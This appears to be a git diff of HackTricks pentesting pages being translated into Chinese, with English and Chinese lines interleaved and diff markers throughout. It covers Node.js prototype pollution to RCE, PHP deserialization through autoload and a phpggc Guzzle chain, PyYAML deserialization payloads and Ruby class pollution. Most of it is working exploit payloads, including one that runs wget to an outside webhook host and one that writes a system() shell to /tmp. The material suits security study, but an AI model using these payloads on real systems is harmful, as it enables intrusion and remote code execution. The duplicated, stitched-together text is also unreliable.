{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -611,7 +576,7 @@ var proc = require("./relative_path.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
'{"__proto__": {"exports": {".": "./malicious.js"}, "1": "/tmp", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_1\\").toString())//"}}'
)
clone(USERINPUT)
@ -619,25 +584,21 @@ clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 2
#### 相对 require - 2
{{#tabs}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -656,7 +617,7 @@ var proc = require("./relative_path.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
'{"__proto__": {"data": {"exports": {".": "./malicious.js"}}, "path": "/tmp", "name": "./relative_path.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_exports_path\\").toString())//"}}'
)
clone(USERINPUT)
@ -664,57 +625,52 @@ clone(USERINPUT)
var proc = require("./relative_path.js")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("/path/to/anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 3
Similar to the previous one, this was found in [**this writeup**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
#### 相对require - 3
与之前的类似,这在[**这篇文章**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs)中发现。
```javascript
// Requiring /opt/yarn-v1.22.19/preinstall.js
Object.prototype["data"] = {
exports: {
".": "./preinstall.js",
},
name: "./usage",
exports: {
".": "./preinstall.js",
},
name: "./usage",
}
Object.prototype["path"] = "/opt/yarn-v1.22.19"
Object.prototype.shell = "node"
Object.prototype["npm_config_global"] = 1
Object.prototype.env = {
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
NODE_DEBUG:
"console.log(require('child_process').execSync('wget${IFS}https://webhook.site?q=2').toString());process.exit()//",
NODE_OPTIONS: "--require=/proc/self/environ",
}
require("./usage.js")
```
## VM Gadgets
In the paper [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) is also indicated that the control of **`contextExtensions`** from some methods of the **`vm`** library could be used as a gadget.\
However, as the previous **`child_process`** methods, it has been **fixed** in the latest versions.
在论文 [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) 中也指出,**`vm`** 库某些方法的 **`contextExtensions`** 控制可以作为一个 gadget。\
然而,与之前的 **`child_process`** 方法一样,它在最新版本中已被 **修复**
## Fixes & Unexpected protections
Please, note that prototype pollution works if the **attribute** of an object that is being accessed is **undefined**. If in the **code** that **attribute** is **set** a **value** you **won't be able to overwrite it**.
请注意,原型污染在访问的对象的 **attribute****undefined** 时有效。如果在 **code** 中该 **attribute****设置** 为一个 **value**,你 **将无法覆盖它**
In Jun 2022 from [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) the var `options` instead of a `{}` is a **`kEmptyObject`**. Which **prevents a prototype pollution** from affecting the **attributes** of **`options`** to obtain RCE.\
At least from v18.4.0 this protection has been **implemented,** and therefore the `spawn` and `spawnSync` **exploits** affecting the methods **no longer work** (if no `options` are used!).
在 2022 年 6 月,从 [**this commit**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) 开始,变量 `options` 不再是 `{}`,而是 **`kEmptyObject`**。这 **防止了原型污染** 影响 **`options`** 的 **attributes** 以获得 RCE。\
至少从 v18.4.0 开始,这种保护已被 **实施**,因此 `spawn``spawnSync`**exploits** 不再影响这些方法(如果不使用 `options`!)。
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.**
[**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) vm 库的 **`contextExtensions`** 的 **prototype pollution** 也通过将选项设置为 **`kEmptyObject`** 而 **部分修复**,而不是 **`{}`**。
### **Other Gadgets**

View File

@ -1,71 +1,64 @@
# PHP - Deserialization + Autoload Classes
# PHP - 反序列化 + 自动加载类
{{#include ../../banners/hacktricks-training.md}}
First, you should check what are [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
首先,您应该检查什么是 [**自动加载类**](https://www.php.net/manual/en/language.oop5.autoload.php)。
## PHP deserialization + spl_autoload_register + LFI/Gadget
## PHP 反序列化 + spl_autoload_register + LFI/Gadget
We are in a situation where we found a **PHP deserialization in a webapp** with **no** library vulnerable to gadgets inside **`phpggc`**. However, in the same container there was a **different composer webapp with vulnerable libraries**. Therefore, the goal was to **load the composer loader of the other webapp** and abuse it to **load a gadget that will exploit that library with a gadget** from the webapp vulnerable to deserialization.
我们处于一种情况,发现了一个 **webapp 中的 PHP 反序列化**,并且 **没有****`phpggc`** 中的库易受攻击的 gadget。然而在同一个容器中有一个 **不同的 composer webapp里面有易受攻击的库**。因此,目标是 **加载另一个 webapp 的 composer 加载器** 并利用它 **加载一个 gadget 来利用该库中的 gadget**,该库易受反序列化攻击。
Steps:
- You have found a **deserialization** and there **isnt any gadget** in the current app code
- You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
- For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("\_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
步骤:
- 您发现了一个 **反序列化**,并且 **当前应用代码中没有任何 gadget**
- 您可以利用 **`spl_autoload_register`** 函数,如下所示,以 **加载任何本地文件,扩展名为 `.php`**
- 为此,您使用一个反序列化,其中类的名称将位于 **`$name`** 中。您 **不能在序列化对象的类名中使用 "/" 或 "."**,但是 **代码** 正在 **将** **下划线** ("\_") **替换为斜杠** ("/")。因此,像 `tmp_passwd` 这样的类名将被转换为 `/tmp/passwd.php`,代码将尝试加载它。\
一个 **gadget 示例** 将是: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
> [!TIP]
> If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
> 如果你有一个 **文件上传** 并且可以上传一个 **`.php` 扩展名** 的文件,你可以 **直接利用这个功能** 并获得 RCE。
In my case, I didnt have anything like that, but there was inside the **same container** another composer web page with a **library vulnerable to a `phpggc` gadget**.
- To load this other library, first you need to **load the composer loader of that other web app** (because the one of the current application wont access the libraries of the other one.) **Knowing the path of the application**, you can achieve this very easily with: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my case, the composer loader was in `/www/frontend/vendor/autoload.php`)
- Now, you can **load** the others **app composer loader**, so its time to **`generate the phpgcc`** **payload** to use. In my case, I used **`Guzzle/FW1`**, which allowed me to **write any file inside the filesystem**.
- NOTE: The **generated gadget was not working**, in order for it to work I **modified** that payload **`chain.php`** of phpggc and set **all the attribute**s of the classes **from private to public**. If not, after deserializing the string, the attributes of the created objects didnt have any values.
- Now we have the way to **load the others app composer loader** and have a **phpggc payload that works**, but we need to **do this in the SAME REQUEST for the loader to be loaded when the gadget is used**. For that, I sent a serialized array with both objects like:
- You can see **first the loader being loaded and then the payload**
在我的情况下,我没有这样的东西,但在 **同一个容器** 内有另一个 composer 网页,里面有一个 **易受攻击的 `phpggc` 小工具**
- 要加载这个其他库,首先你需要 **加载那个其他 web 应用的 composer 加载器**(因为当前应用的加载器无法访问另一个的库)。**知道应用的路径**,你可以很容易地实现这一点:**`O:28:"www_frontend_vendor_autoload":0:{}`**在我的情况下composer 加载器在 `/www/frontend/vendor/autoload.php`
- 现在,你可以 **加载** 其他 **应用的 composer 加载器**,所以是时候 **`生成 phpgcc`** **有效载荷** 来使用。在我的情况下,我使用了 **`Guzzle/FW1`**,这让我可以 **在文件系统内写入任何文件**
- 注意:**生成的小工具没有工作**,为了让它工作,我 **修改** 了那个有效载荷 **`chain.php`** 的 phpggc并将 **所有属性** 的类 **从私有改为公共**。如果不这样做,反序列化字符串后,创建的对象的属性将没有任何值。
- 现在我们有了 **加载其他应用的 composer 加载器** 的方法,并且有一个 **有效的 phpggc 有效载荷**,但我们需要 **在同一个请求中执行此操作,以便在使用小工具时加载加载器**。为此,我发送了一个序列化数组,包含两个对象,如下所示:
- 你可以看到 **首先加载加载器,然后是有效载荷**
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
- Now, we can **create and write a file**, however, the user **couldnt write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:&#x20;
- 现在,我们可以**创建和写入文件**,但是用户**无法在web服务器的任何文件夹中写入**。因此如您在有效负载中所见PHP调用**`system`**并创建了一些**base64**在**`/tmp/a.php`**中。然后,我们可以**重用我们用于LFI的第一种有效负载**来加载另一个web应用程序的composer加载器**以加载生成的`/tmp/a.php`**文件。只需将其添加到反序列化小工具中:&#x20;
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"<?php system('echo L3JlYWRmbGFn | base64 -d | bash'); ?>";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
**有效载荷摘要**
**Summary of the payload**
- **加载同一容器中另一个webapp的composer自动加载**
- **加载phpggc小工具**以滥用另一个webapp的库最初易受反序列化攻击的webapp的库中没有任何小工具
- 该小工具将**在/tmp/a.php中创建一个包含PHP有效载荷**的文件文件中包含恶意命令webapp用户无法在任何webapp的任何文件夹中写入
- 我们有效载荷的最后部分将使用**加载生成的php文件**来执行命令
- **Load the composer autoload** of a different webapp in the same container
- **Load a phpggc gadget** to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didnt have any gadget on its libraries)
- The gadget will **create a file with a PHP payload** on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
- The final part of our payload will use **load the generated php file** that will execute commands
I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
我需要**调用这个反序列化两次**。在我的测试中,第一次创建了`/tmp/a.php`文件但未加载,第二次则正确加载。
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# Python Yaml Deserialization
# Python Yaml 反序列化
{{#include ../../banners/hacktricks-training.md}}
## Yaml **Deserialization**
**Yaml** python libraries is also capable to **serialize python objects** and not just raw data:
## Yaml **反序列化**
**Yaml** python 库也能够 **序列化 python 对象** 而不仅仅是原始数据:
```
print(yaml.dump(str("lol")))
lol
@ -23,13 +22,11 @@ print(yaml.dump(range(1,10)))
- 10
- 1
```
Check how the **tuple** isnt a raw type of data and therefore it was **serialized**. And the same happened with the **range** (taken from the builtins).
检查一下 **tuple** 不是原始数据类型,因此它被 **序列化** 了。 **range** 也是如此(取自内置函数)。
![](<../../images/image (1040).png>)
**safe_load()** or **safe_load_all()** uses SafeLoader and **dont support class object deserialization**. Class object deserialization example:
**safe_load()** 或 **safe_load_all()** 使用 SafeLoader并且 **不支持类对象反序列化**。 类对象反序列化示例:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -48,13 +45,11 @@ print(yaml.unsafe_load_all(data)) #<generator object load_all at 0x7fc4c6d8f040>
#The other ways to load data will through an error as they won't even attempt to
#deserialize the python object
```
之前的代码使用 **unsafe_load** 来加载序列化的 python 类。这是因为在 **version >= 5.1** 中,它不允许 **反序列化任何序列化的 python 类或类属性**,如果在 load() 中未指定 Loader 或 Loader=SafeLoader。
The previous code used **unsafe_load** to load the serialized python class. This is because in **version >= 5.1**, it doesnt allow to **deserialize any serialized python class or class attribute**, with Loader not specified in load() or Loader=SafeLoader.
### Basic Exploit
Example on how to **execute a sleep**:
### 基本利用
如何 **执行一个 sleep** 的示例:
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
@ -69,48 +64,42 @@ print(yaml.unsafe_load(data)) #Executed
print(yaml.full_load_all(data))
print(yaml.unsafe_load_all(data))
```
### 漏洞 .load("\<content>") 没有 Loader
### Vulnerable .load("\<content>") without Loader
**Old versions** of pyyaml were vulnerable to deserialisations attacks if you **didn't specify the Loader** when loading something: `yaml.load(data)`
You can find the [**description of the vulnerability here**](https://hackmd.io/@defund/HJZajCVlP)**.** The proposed **exploit** in that page is:
**旧版本**的 pyyaml 在加载内容时如果**没有指定 Loader**,则容易受到反序列化攻击:`yaml.load(data)`
您可以在[**此处找到漏洞的描述**](https://hackmd.io/@defund/HJZajCVlP)**.** 页面中提出的**利用**是:
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Or you could also use this **one-liner provided by @ishaack**:
或者你也可以使用这个**@ishaack 提供的一行代码**
```yaml
!!python/object/new:str {
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
state:
!!python/tuple [
'print(exec("print(o"+"pen(\"flag.txt\",\"r\").read())"))',
!!python/object/new:Warning { state: { update: !!python/name:exec } },
],
}
```
Note that in **recent versions** you cannot **no longer call `.load()`** **without a `Loader`** and the **`FullLoader`** is **no longer vulnerable** to this attack.
请注意,在**最近的版本**中,您不能**再调用 `.load()`** **而不使用 `Loader`**,并且**`FullLoader`** **不再易受此攻击**
## RCE
Custom payloads can be created using Python YAML modules such as **PyYAML** or **ruamel.yaml**. These payloads can exploit vulnerabilities in systems that deserialize untrusted input without proper sanitization.
可以使用 Python YAML 模块,如 **PyYAML****ruamel.yaml**,创建自定义有效负载。这些有效负载可以利用在没有适当清理的情况下反序列化不受信任输入的系统中的漏洞。
```python
import yaml
from yaml import UnsafeLoader, FullLoader, Loader
import subprocess
class Payload(object):
def __reduce__(self):
return (subprocess.Popen,('ls',))
def __reduce__(self):
return (subprocess.Popen,('ls',))
deserialized_data = yaml.dump(Payload()) # serializing data
print(deserialized_data)
@ -122,11 +111,9 @@ print(yaml.load(deserialized_data, Loader=UnsafeLoader))
print(yaml.load(deserialized_data, Loader=Loader))
print(yaml.unsafe_load(deserialized_data))
```
### 创建有效负载的工具
### Tool to create Payloads
The tool [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) can be used to generate python deserialization payloads to abuse **Pickle, PyYAML, jsonpickle and ruamel.yaml:**
该工具 [https://github.com/j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator) 可用于生成 python 反序列化有效负载,以滥用 **Pickle, PyYAML, jsonpickle 和 ruamel.yaml:**
```bash
python3 peas.py
Enter RCE command :cat /root/flag.txt
@ -145,14 +132,12 @@ gASVNQAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlIwDY2F0lIwOL3Jvb3QvZmxhZy50eHSUhpSF
cat /tmp/example_yaml
!!python/object/apply:subprocess.Popen
- !!python/tuple
- cat
- /root/flag.txt
- cat
- /root/flag.txt
```
### References
### 参考文献
- [https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [https://net-square.com/yaml-deserialization-attack-in-python.html](https://net-square.com/yaml-deserialization-attack-in-python.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,12 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
This is a summary from the post [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html)
这是来自帖子 [https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html](https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html) 的摘要
## Merge on Attributes
Example:
示例:
```ruby
# Code from https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html
# Comments added to exploit the merge on attributes
@ -17,167 +16,163 @@ require 'json'
# Base class for both Admin and Regular users
class Person
attr_accessor :name, :age, :details
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Authorize based on the `to_s` method result
def authorize
if to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
# Health check that executes all protected methods using `instance_eval`
def health_check
protected_methods().each do |method|
instance_eval(method.to_s)
end
end
private
private
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
# VULNERABLE FUNCTION that can be abused to merge attributes
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
protected
protected
def check_cpu
puts "CPU check passed."
end
def check_cpu
puts "CPU check passed."
end
def check_memory
puts "Memory check passed."
end
def check_memory
puts "Memory check passed."
end
end
# Admin class inherits from Person
class Admin < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"Admin"
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def initialize(name:, age:, details:)
super(name: name, age: age, details: details)
end
def to_s
"User"
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Instantiate a regular user
user = User.new(
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Perform a recursive merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Authorize the user (privilege escalation vulnerability)
# ruby class_pollution.rb '{"to_s":"Admin","name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
# Execute health check (RCE vulnerability)
# ruby class_pollution.rb '{"protected_methods":["puts 1"],"name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.health_check
end
end
end
if ARGV.length != 1
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
puts "Usage: ruby class_pollution.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
### 解释
### Explanation
1. **权限提升**: `authorize` 方法检查 `to_s` 是否返回 "Admin." 通过 JSON 注入一个新的 `to_s` 属性,攻击者可以使 `to_s` 方法返回 "Admin",从而获得未授权的权限。
2. **远程代码执行**: 在 `health_check` 中,`instance_eval` 执行 `protected_methods` 中列出的方法。如果攻击者注入自定义方法名(如 `"puts 1"``instance_eval` 将执行它,导致 **远程代码执行 (RCE)**
1. 这仅仅是因为存在一个 **脆弱的 `eval` 指令** 执行该属性的字符串值。
3. **影响限制**: 该漏洞仅影响单个实例,其他 `User``Admin` 实例不受影响,从而限制了利用的范围。
1. **Privilege Escalation**: The `authorize` method checks if `to_s` returns "Admin." By injecting a new `to_s` attribute through JSON, an attacker can make the `to_s` method return "Admin," granting unauthorized privileges.
2. **Remote Code Execution**: In `health_check`, `instance_eval` executes methods listed in `protected_methods`. If an attacker injects custom method names (like `"puts 1"`), `instance_eval` will execute it, leading to **remote code execution (RCE)**.
1. This is only possible because there is a **vulnerable `eval` instruction** executing the string value of that attribute.
3. **Impact Limitation**: This vulnerability only affects individual instances, leaving other instances of `User` and `Admin` unaffected, thus limiting the scope of exploitation.
### 现实案例 <a href="#real-world-cases" id="real-world-cases"></a>
### Real-World Cases <a href="#real-world-cases" id="real-world-cases"></a>
### ActiveSupports `deep_merge`
This isn't vulnerable by default but can be made vulnerable with something like:&#x20;
### ActiveSupport 的 `deep_merge`
这默认情况下并不脆弱,但可以通过类似的方式使其脆弱:&#x20;
```ruby
# Method to merge additional data into the object using ActiveSupport deep_merge
def merge_with(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash = to_h.deep_merge(other_object)
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
merged_hash.each do |key, value|
self.class.attr_accessor key
instance_variable_set("@#{key}", value)
end
self
self
end
```
### Hashie的 `deep_merge`
### Hashies `deep_merge`
Hashie的 `deep_merge` 方法直接作用于对象属性,而不是普通哈希。它**防止在合并时用属性替换方法**,但有一些**例外**:以 `_``!``?` 结尾的属性仍然可以合并到对象中。
Hashies `deep_merge` method operates directly on object attributes rather than plain hashes. It **prevents replacement of methods** with attributes in a merge with some **exceptions**: attributes that end with `_`, `!`, or `?` can still be merged into the object.
Some special case is the attribute **`_`** on its own. Just `_` is an attribute that usually returns a `Mash` object. And because it's part of the **exceptions**, it's possible to modify it.
Check the following example how passing `{"_": "Admin"}` one is able to bypass `_.to_s == "Admin"`:
一个特殊情况是属性 **`_`** 本身。仅仅 `_` 是一个通常返回 `Mash` 对象的属性。由于它是**例外**的一部分,因此可以对其进行修改。
查看以下示例,如何通过传递 `{"_": "Admin"}` 来绕过 `_.to_s == "Admin"`
```ruby
require 'json'
require 'hashie'
@ -185,77 +180,75 @@ require 'hashie'
# Base class for both Admin and Regular users
class Person < Hashie::Mash
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Method to merge additional data into the object using hashie
def merge_with(other_object)
deep_merge!(other_object)
self
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
# Authorize based on to_s
def authorize
if _.to_s == "Admin"
puts "Access granted: #{@name} is an admin."
else
puts "Access denied: #{@name} is not an admin."
end
end
end
# Admin class inherits from Person
class Admin < Person
def to_s
"Admin"
end
def to_s
"Admin"
end
end
# Regular user class inherits from Person
class User < Person
def to_s
"User"
end
def to_s
"User"
end
end
class JSONMergerApp
def self.run(json_input)
additional_object = JSON.parse(json_input)
def self.run(json_input)
additional_object = JSON.parse(json_input)
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Instantiate a regular user
user = User.new({
name: "John Doe",
age: 30,
details: {
"occupation" => "Engineer",
"location" => {
"city" => "Madrid",
"country" => "Spain"
}
}
})
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Perform a deep merge, which could override methods
user.merge_with(additional_object)
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
# Authorize the user (privilege escalation vulnerability)
# Exploit: If we pass {"_": "Admin"} in the JSON, the user will be treated as an admin.
# Example usage: ruby hashie.rb '{"_": "Admin", "name":"Jane Doe","details":{"location":{"city":"Barcelona"}}}'
user.authorize
end
end
if ARGV.length != 1
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
puts "Usage: ruby hashie.rb 'JSON_STRING'"
exit
end
json_input = ARGV[0]
JSONMergerApp.run(json_input)
```
## 污染类 <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
## Poison the Classes <a href="#escaping-the-object-to-poison-the-class" id="escaping-the-object-to-poison-the-class"></a>
In the following example it's possible to find the class **`Person`**, and the the clases **`Admin`** and **`Regular`** which inherits from the **`Person`** class. It also has another class called **`KeySigner`**:
在以下示例中,可以找到类 **`Person`**,以及继承自 **`Person`** 类的类 **`Admin`** 和 **`Regular`**。它还有另一个名为 **`KeySigner`** 的类:
```ruby
require 'json'
require 'sinatra/base'
@ -263,158 +256,152 @@ require 'net/http'
# Base class for both Admin and Regular users
class Person
@@url = "http://default-url.com"
@@url = "http://default-url.com"
attr_accessor :name, :age, :details
attr_accessor :name, :age, :details
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def initialize(name:, age:, details:)
@name = name
@age = age
@details = details
end
def self.url
@@url
end
def self.url
@@url
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
# Method to merge additional data into the object
def merge_with(additional)
recursive_merge(self, additional)
end
private
private
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
# Recursive merge to modify instance variables
def recursive_merge(original, additional, current_obj = original)
additional.each do |key, value|
if value.is_a?(Hash)
if current_obj.respond_to?(key)
next_obj = current_obj.public_send(key)
recursive_merge(original, value, next_obj)
else
new_object = Object.new
current_obj.instance_variable_set("@#{key}", new_object)
current_obj.singleton_class.attr_accessor key
end
else
current_obj.instance_variable_set("@#{key}", value)
current_obj.singleton_class.attr_accessor key
end
end
original
end
end
class User < Person
def initialize(name:, age:, details:)
